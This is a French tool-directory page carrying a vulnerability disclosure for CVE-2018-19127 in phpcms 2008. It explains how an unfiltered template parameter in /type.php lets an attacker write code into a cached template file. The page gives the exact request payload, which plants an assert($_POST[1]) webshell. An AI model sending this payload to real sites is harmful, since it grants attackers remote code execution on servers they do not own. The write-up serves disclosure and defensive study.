Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
phpcms-2008-CVE-2018-19127 — Preuve de concept d'exploitation pour CVE-2018-19127 dans phpcms 2008, démontrant l'exécution de code à distance via un paramètre de modèle spécialement conçu menant au téléchargement d'un webshell. | Kitploit
Outils/GitHubGitHub/ab1gale/phpcms-2008-cve-2018-19127
Génération de PayloadsAnalyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebSécurité Web
GitHubab1gale/phpcms-2008-cve-2018-19127

phpcms-2008-CVE-2018-19127

Preuve de concept d'exploitation pour CVE-2018-19127 dans phpcms 2008, démontrant l'exécution de code à distance via un paramètre de modèle spécialement conçu menant au téléchargement d'un webshell.

Voir le dépôt
415il y a 7 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

phpcms-2008-CVE-2018-19127

Récemment, nous avons trouvé une vulnérabilité dans /type.php du code source de phpcms 2008. Lorsque des attaquants envoient des requêtes spécialement conçues comme "/type.php?template=tag_(){};@unlink(FILE);assert($_POST[1]);{//../rss", un contenu malveillant (dans ce cas "@unlink(FILE);assert($_POST[1]);") sera écrit dans le fichier cache (dans ce cas "/cache_template/rss.tpl.php") sur le site phpcms 2008.

Le code suivant se trouve dans /type.php :

root@kitploit:~
if(empty($template)) $template = 'type';
...
include template('phpcms', $template);

Et template() est défini dans /include/global.func.php avec le code suivant :

root@kitploit:~
template_compile($module, $template, $istag);

Ensuite, il appelle template_compile(), qui est défini dans /include/template.func.php comme suit :

root@kitploit:~
$compiledtplfile = TPL_CACHEPATH.$module.'_'.$template.'.tpl.php';
$content = ($istag || substr($template, 0, 4) == 'tag_') ? '<?php function _tag_'.$module.'_'.$template.'($data, $number, $rows, $count, $page, $pages, $setting){ global $PHPCMS,$MODULE,$M,$CATEGORY,$TYPE,$AREA,$GROUP,$MODEL,$templateid,$_userid,$_username;@extract($setting);?>'.template_parse($content, 1).'<?php } ?>' : template_parse($content);
$strlen = file_put_contents($compiledtplfile, $content);

Dans la charge utile de l'attaque, $template est défini sur "tag_(){};@unlink(FILE);assert($_POST[1]);{//../rss".

Ainsi, le chemin complet passé à file_put_contents() est désormais "data/cache_template/phpcms_tag_(){};@unlink(FILE);assert($_POST[1]);{//../rss.tpl.php", qui sera interprété par php comme "data/cache_template/rss.tpl.php". Et le contenu "@unlink(FILE);assert($_POST[1]);" sera écrit dans ce fichier, et l'attaquant peut alors utiliser ce fichier comme webshell pour exécuter du code arbitraire.

La cause première du problème est que la variable $template n'est pas filtrée avant d'être utilisée dans le chemin du fichier et dans le contenu du fichier.

Nous avons contacté le fournisseur de phpcms via la méthode indiquée sur son site officiel, mais le téléphone est injoignable et le message est resté sans réponse. Phpcms 2008 n'est pas la version la plus récente de phpcms, mais de nombreux utilisateurs utilisent encore cette version. La vulnérabilité que nous avons trouvée n'a jamais été référencée ni associée à un CVE. Veuillez attribuer un CVE-id à cette vulnérabilité afin que nous puissions avertir les utilisateurs.

Télécharger l’outil